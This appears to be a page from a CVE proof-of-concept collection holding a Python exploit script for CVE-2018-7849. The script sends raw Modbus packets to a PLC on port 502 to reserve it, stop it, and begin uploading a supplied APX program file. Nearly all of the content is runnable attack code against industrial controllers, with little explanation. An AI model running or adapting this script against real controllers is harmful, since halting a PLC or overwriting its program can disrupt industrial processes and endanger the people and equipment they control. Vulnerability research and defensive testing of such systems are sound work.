4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2018-7849.py PY
#!/usr/bin/env python3

__author__ = "Yanis Wang"
__email__ = "[email protected]"

import argparse
import socket
 

def exploit(host: str, port: int, filename: str):
    print("[*] Loading APX file")

    with open(filename, "rb") as f:
        apx_content = f.read()

    block_length = 0x03f4
    blocks = [apx_content[i:i + block_length] for i in range(0, len(apx_content), block_length)]

    print("[+] File loaded")
    print("[*] Connecting to target")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    print("[+] Connection established")
    print("[*] Reserving PLC")

    data = b"\xff\xff\x00\x00\x00\x0f\x01\x5a\x00\x10\xda\x79\x00\x00\x06HACKER"
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to reserve PLC")
        exit(-1)

    session_key = response[10].to_bytes(1, "little")

    print("[+] PLC reserved")
    print("[*] Stopping PLC")

    data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + b"\x41\xff\x00"
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to stop PLC")
        exit(-1)

    print("[+] PLC stopped")
    print("[*] Initializing download")

    data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + b"\x30\x00\x01"
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to initialize download")
        exit(-1)

    print("[*] Downloading first block")

    block = blocks[0]
    block_size = len(block).to_bytes(2, "little")
    length = (len(block) + 10).to_bytes(2, "little")
    data = b"\xff\xff\x00\x00" + length + b"\x01\x5a" + session_key + b"\x31\x00\x01\x01\x00" + block_size + block
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to download first block")
        exit(-1)

    print("[+] Done")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True, type=str, default=None, help="Target address")
    parser.add_argument("--port", required=False, type=int, default=502, help="Target port")
    parser.add_argument("--filename", required=False, type=str, default="PLC.apx", help="APX file")
    args = parser.parse_args()

    exploit(args.host, args.port, args.filename)

 
if __name__ == "__main__":
    main()